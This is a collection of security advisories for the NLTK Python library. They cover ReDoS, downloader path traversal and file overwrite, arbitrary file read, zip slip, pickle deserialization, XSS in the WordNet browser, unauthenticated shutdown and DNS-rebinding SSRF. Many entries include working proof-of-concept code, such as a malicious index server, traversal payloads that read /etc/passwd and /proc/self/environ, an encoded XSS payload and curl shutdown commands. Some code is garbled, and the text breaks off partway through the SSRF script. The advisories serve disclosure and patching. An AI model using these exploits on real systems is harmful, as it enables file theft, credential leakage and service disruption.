Python/nltk/3.2.1

NLTK Vulnerable to REDoS

The nltk package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide as an input to the [_read_comparison_block()(https://github.com/nltk/nltk/blob/23f4b1c4b4006b0cb3ec278e801029557cec4e82/nltk/corpus/reader/comparative_sents.py#L259) function in the file nltk/corpus/reader/comparative_sents.py may cause an application to consume an excessive amount of CPU.

NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
2. Arbitrary File Creation: Create arbitrary files
3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorized_keys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253) python self.filename = os.path.join(subdir, id + ext) - subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679) python filepath = os.path.join(download_dir, info.filename) - Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687) python os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True) - Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695) python with open(filepath, "wb") as outfile: - Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server
   ↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
   ↓
3. Victim executes: downloader.download('passwd')
   ↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
   ↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
   ↓
6. os.makedirs() creates directory: download_dir + "../../etc"
   ↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
   ↓
8. System file is overwritten!

Impact Scope

1. System File Overwrite

Reproduction Steps

Environment Setup

1. Install NLTK bash pip install nltk

2. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server bash python3 malicious_server.py

Step 2: Run exploit script bash python3 exploit_vulnerability.py

Step 3: Verify results bash ls -la /tmp/test_file.zip

Proof of Concept

Malicious Server (malicious_server.py)

#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler

# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")

# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
  <packages>
    <package id="test_file" subdir="../../../../../../../../../tmp" 
             url="http://127.0.0.1:8888/test.zip" 
             size="100" unzipped_size="100" unzip="0"/>
  </packages>
</nltk_data>
"""

# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
    f.write(malicious_xml)

with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
    zf.writestr("test.txt", "Path traversal attack!")

# HTTP Handler
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/malicious_index.xml':
            self.send_response(200)
            self.send_header('Content-type', 'application/xml')
            self.end_headers()
            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
                self.wfile.write(f.read())
        elif self.path == '/test.zip':
            self.send_response(200)
            self.send_header('Content-type', 'application/zip')
            self.end_headers()
            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, format, *args):
        pass

# Start server
if __name__ == "__main__":
    port = 8888
    server = HTTPServer(("0.0.0.0", port), Handler)
    print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
    print("Press Ctrl+C to stop")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nServer stopped")

Exploit Script (exploit_vulnerability.py)

#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile

def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
    download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
    print(f"Download directory: {download_dir}")

    # Exploit vulnerability
    from nltk.downloader import Downloader
    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
    downloader.download("test_file", quiet=True)

    # Check results
    expected_path = "/tmp/test_file.zip"
    if os.path.exists(expected_path):
        print(f"\n✗ Exploit successful! File written to: {expected_path}")
        print(f"✗ Path traversal attack successful!")
    else:
        print(f"\n? File not found, download may have failed")

if __name__ == "__main__":
    exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!

NLTK has a Path Traversal issue

A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

### Details SECURITY.md promises that file access is validated against allowed NLTK data directories and that with nltk.pathsec.ENFORCE = True unauthorized file access … will raise `PermissionError`. That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

• add_root() builds the path by plain string concatenation with no normalization or containment check: python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped
• The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()): python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189
• The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open(): python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

   pip install "nltk==3.9.4"
   python3 poc.py

poc.py: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter(ignore) import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader

print(nltk, nltk.version)

# A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix=nkjp_corpus_root_) os.makedirs(os.path.join(root, sample), exist_ok=True) open(os.path.join(root, sample, header.xml), w).write()

# The attacker's target: a file OUTSIDE the corpus root. secretdir = tempfile.mkdtemp(prefix="OUTSIDEROOT") open(os.path.join(secretdir, header.xml), w).write( )

# Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print(ENFORCE =, pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, a, *k: (opened.append(str(f)), real(f, a, *k))[1]

reader = NKJPCorpusReader(root=root + /, fileids=sample) # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + /../../../../../../.. + secret_dir + / try: result = reader.header(fileids=[evil]) finally: builtins.open = real

print(opened outside root:, [p for p in opened if OUTSIDE_ROOT_ in p][:1]) print(disclosed content :, result[0][title]) shutil.rmtree(root, ignoreerrors=True); shutil.rmtree(secretdir, ignore_errors=True) ```

Output (unmodified): nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same build-path-then-builtin-open, skipping pathsec anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.

NLTK has a Zip Slip Vulnerability

A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The unzipiter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.

ntlk unsafe deserialization vulnerability

NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averagedperceptrontagger and punkt.

Inefficient Regular Expression Complexity in nltk (word_tokenize, sent_tokenize)

Impact

The vulnerability is present in PunktSentenceTokenizer, sent_tokenize and word_tokenize. Any users of this class, or these two functions, are vulnerable to a Regular Expression Denial of Service (ReDoS) attack. In short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. The effect of this vulnerability is noticeable with the following example: ```python from nltk.tokenize import word_tokenize

n = 8 for length in [10**i for i in range(2, n)]: # Prepare a malicious input text = a * length startt = time.time() # Call `wordtokenizeand naively measure the execution time word_tokenize(text) print(f"A length of {length:<{n}} takes {time.time() - start_t:.4f}s") Which gave the following output during testing: python A length of 100 takes 0.0060s A length of 1000 takes 0.0060s A length of 10000 takes 0.6320s A length of 100000 takes 56.3322s ... `` I canceled the execution of the program after running it for several hours.

If your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability, or applying the workaround described below.

Patches

The problem has been patched in NLTK 3.6.6. After the fix, running the above program gives the following result: python A length of 100 takes 0.0070s A length of 1000 takes 0.0010s A length of 10000 takes 0.0060s A length of 100000 takes 0.0400s A length of 1000000 takes 0.3520s A length of 10000000 takes 3.4641s This output shows a linear relationship in execution time versus input length, which is desirable for regular expressions. We recommend updating to NLTK 3.6.6+ if possible.

Workarounds

The execution time of the vulnerable functions is exponential to the length of a malicious input. With other words, the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. Our recommendation is to implement such a limit.

References

• The issue showcasing the vulnerability: https://github.com/nltk/nltk/issues/2866
• The pull request containing considerably more information on the vulnerability, and the fix: https://github.com/nltk/nltk/pull/2869
• The commit containing the fix: 1405aad979c6b8080dbbc8e0858f89b2e3690341
• Information on CWE-1333: Inefficient Regular Expression Complexity: https://cwe.mitre.org/data/definitions/1333.html

For more information

If you have any questions or comments about this advisory: * Open an issue in github.com/nltk/nltk * Email us at nltk.team@gmail.com

Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

Summary

ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

import multiprocessing as mp
import re
import time

# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
#     A generous bound (real feature labels are short noun phrases) makes the
#     run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
    r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)

TIMEOUT = 20.0  # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line


def _bad_line(n_words):
    """A long line of plain words with NO trailing bracketed annotation."""
    return ("word " * n_words).rstrip()


def _worker(pattern_str, line, q):
    pat = re.compile(pattern_str)
    t0 = time.perf_counter()
    pat.findall(line)
    q.put(time.perf_counter() - t0)


def timed_findall(pattern, line, timeout=TIMEOUT):
    """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
    q = mp.Queue()
    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
    p.start()
    p.join(timeout)
    if p.is_alive():
        p.terminate()
        p.join()
        return None
    return q.get() if not q.empty() else None


def bench(label, pattern):
    print(f"\n[{label}]  pattern: {pattern.pattern}")
    print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
    prev = None
    for n in SIZES:
        line = _bad_line(n)
        t = timed_findall(pattern, line)
        if t is None:
            print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
            prev = None
        else:
            ratio = f"{t/prev:.1f}x" if prev else "--"
            print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
            prev = t


def parity_check():
    """The bound must NOT change extraction on a realistic annotated line."""
    real = (
        "the picture quality[+2] and battery life[+1] are great but "
        "the lens cap[-1] feels cheap and the menu system[-2] is slow"
    )
    a = FEATURES_VULN.findall(real)
    b = FEATURES_FIXED.findall(real)
    print("\n[parity] realistic annotated line — extraction must be identical")
    print(f"  vulnerable regex -> {a}")
    print(f"  bounded   regex  -> {b}")
    print(f"  identical: {a == b}")
    return a == b


def main():
    print("=" * 66)
    print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
    print("=" * 66)
    print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")

    bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
    bench("BOUNDED     fix #3583", FEATURES_FIXED)
    same = parity_check()

    print("\n" + "=" * 66)
    print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
    print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
    print(f" Extraction parity on real annotations preserved: {same}")
    print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
    print("=" * 66)


if __name__ == "__main__":
    main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk

Summary

nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.

Details

The vulnerable flow is in nltk/app/wordnet_app.py:

• nltk/app/wordnet_app.py:144

  • Requests starting with lookup_ are handled as HTML responses:
  • page, word = page_from_href(sp)

• nltk/app/wordnet_app.py:755

  • page_from_href() calls page_from_reference(Reference.decode(href))

• nltk/app/wordnet_app.py:769

  • word = href.word

• nltk/app/wordnet_app.py:796

  • If no results are found, word is inserted directly into the HTML body:
  • body = "The word or words '%s' were not found in the dictionary." % word

This is inconsistent with the search route, which does escape user input:

• nltk/app/wordnet_app.py:136
  • word = html.escape(...)

As a result, a malicious lookup_... payload can inject script into the response page.

The issue is exploitable because:

• Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state.
• The decoded word is reflected into HTML without html.escape().
• The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.

PoC

1. Start the WordNet Browser in an isolated Docker environment:

docker run -d --name nltk-wordnet-web -p 8002:8002 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"

1. Use the following crafted payload, which decodes to:

("<script>alert(1)</script>", {})

Encoded payload:

gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=

1. Request the vulnerable route:

curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="

1. Observed result:

The word or words '<script>alert(1)</script>' were not found in the dictionary.

I also validated the issue directly at function level in Docker:

import base64
import pickle

from nltk.app.wordnet_app import page_from_href

payload = base64.urlsafe_b64encode(
    pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()

page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)

Observed output:

WORD= <script>alert(1)</script>
HAS_SCRIPT= True

Impact

This is a reflected XSS issue in the NLTK WordNet Browser web UI.

An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:

• run arbitrary script in the browser tab
• manipulate the page content shown to the user
• issue same-origin requests to other WordNet Browser routes
• potentially trigger available UI actions in that local app context

This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.

NLTK has Arbitrary File Read via Absolute Path Input in nltk.util.filestring()

A vulnerability in the filestring() function of the nltk.util module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.

Unauthenticated remote shutdown in nltk.app.wordnet_app

Summary

nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.

Details

The vulnerable logic is in nltk/app/wordnet_app.py:

• nltk/app/wordnet_app.py:242

  • The server listens on all interfaces:
  • server = HTTPServer(("", port), MyServerHandler)

• nltk/app/wordnet_app.py:87

  • Incoming requests are checked for the exact path:
  • if unquote_plus(sp) == "SHUTDOWN THE SERVER":

• nltk/app/wordnet_app.py:88

  • The shutdown protection only depends on server_mode

• nltk/app/wordnet_app.py:93

  • In the default mode (runBrowser=True, therefore server_mode=False), the handler terminates the process directly:
  • os._exit(0)

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC

1. Start the WordNet Browser in Docker in its default mode:

docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"

1. Confirm the service is reachable:

curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'

Observed result:

200

1. Trigger shutdown:

curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

000

1. Verify the service is no longer available:

curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest

Observed results:

000
nltk-wordnet-web-default-retest    Exited (0)
Server shutting down!

Impact

This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

• the route is accessible over HTTP
• no authentication or CSRF-style confirmation is required
• the server listens on all interfaces by default
• the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.

NLTK Vulnerable To Path Traversal

NLTK Downloader before 3.4.5 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a ../ (dot dot slash) in an NLTK package (ZIP archive) that is mishandled during extraction.

Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read

Summary

nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.

Affected Component

nltk/data.py — find(), normalizeresourceurl(), and the UNSAFENOPROTOCOLRE regex check. Relevant occurrences:

data.py L650–L653 — final path constructed from url2pathname(resourcename) after checks data.py L54–L69 — _UNSAFENOPROTOCOLRE operates only on the undecoded string data.py L219–L245 — normalizeresourceurl() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input

Root Cause The regex UNSAFENOPROTOCOLRE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.

Proof of Concept

"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)

Root Cause:
  nltk/data.py:find() checks resource names against a regex for
  traversal patterns (../, leading /, etc.) BEFORE calling
  url2pathname() which decodes %xx sequences. This is a classic
  "decode-after-check" vulnerability.
"""

import sys
import os
import warnings

# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)

# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)

import nltk
from nltk.pathsec import ENFORCE

BANNER = """
===================================================
 NLTK URL-Encoded Path Traversal PoC
 Affected: nltk <= 3.9.4
 Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)

def test_variant(name, payload, fmt="raw"):
    """Test a single traversal variant."""
    try:
        content = nltk.data.load(payload, format=fmt)
        if isinstance(content, bytes):
            preview = content[:200].decode("utf-8", errors="replace")
        else:
            preview = content[:200]
        first_line = preview.split("\n")[0]
        print(f"  [VULN] {name}")
        print(f"         Payload: {payload}")
        print(f"         Read OK: {first_line}")
        return True
    except Exception as e:
        print(f"  [SAFE] {name}")
        print(f"         Payload: {payload}")
        print(f"         Blocked: {type(e).__name__}: {e}")
        return False


def main():
    print(BANNER)
    vulns = 0

    # --- Variant 1: URL-encoded absolute path ---
    print("[1] URL-encoded absolute path (%2f = /)")
    if test_variant(
        "Encoded leading slash bypasses ^/ regex check",
        "nltk:%2fetc%2fpasswd",
    ):
        vulns += 1

    print()

    # --- Variant 2: Encoded dot-dot traversal ---
    print("[2] URL-encoded dot-dot traversal (%2e = .)")
    if test_variant(
        "Encoded dots bypass \\.\\./ regex check",
        "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    ):
        vulns += 1

    print()

    # --- Variant 3: Literal dots with encoded slash ---
    print("[3] Literal dots with encoded slash (..%2f)")
    if test_variant(
        "Encoded slash after literal .. bypasses \\.\\./ regex",
        "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
    ):
        vulns += 1

    print()

    # --- Variant 4: Read process environment (credential leak) ---
    print("[4] Read /proc/self/environ (credential leakage)")
    try:
        content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
        env_vars = content.decode("utf-8", errors="replace").split("\x00")
        print(f"  [VULN] Leaked {len(env_vars)} environment variables")
        for var in env_vars[:3]:
            if var:
                key = var.split("=")[0] if "=" in var else var
                print(f"         {key}=...")
        vulns += 1
    except Exception as e:
        print(f"  [SAFE] Blocked: {e}")

    print()

    # --- Control: verify normal traversal IS blocked ---
    print("[CONTROL] Verify literal ../ is blocked by regex")
    test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

    print()
    print("=" * 51)
    print(f" Result: {vulns} bypass variant(s) succeeded")
    if vulns > 0:
        print(" Status: VULNERABLE (url2pathname decodes after regex check)")
    else:
        print(" Status: Not vulnerable")
    print("=" * 51)


if __name__ == "__main__":
    main()

Impact

Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:

/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys

This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.

fix

https://github.com/nltk/nltk/pull/3575

Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:

1. validate_network_url() calls _resolve_hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)
2. urlopen() then calls build_opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)

_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk
import nltk.pathsec as ps

ps.ENFORCE = True  # the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"   # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34"              # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"


# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)

    def log_message(self, *a):
        pass


def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]  # ephemeral port


# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)


def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"   # 1st=public (validate), then loopback (connect)
        p = port if isinstance(port, int) else 0
        kind = "VALIDATION -> public" if n == 0 else "CONNECT    -> loopback"
        print(f"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)


def fetch(url):
    with ps.urlopen(url, timeout=5) as r:
        return r.read()


def main():
    print("=" * 62)
    print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
    print(f" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}")
    print("=" * 62)

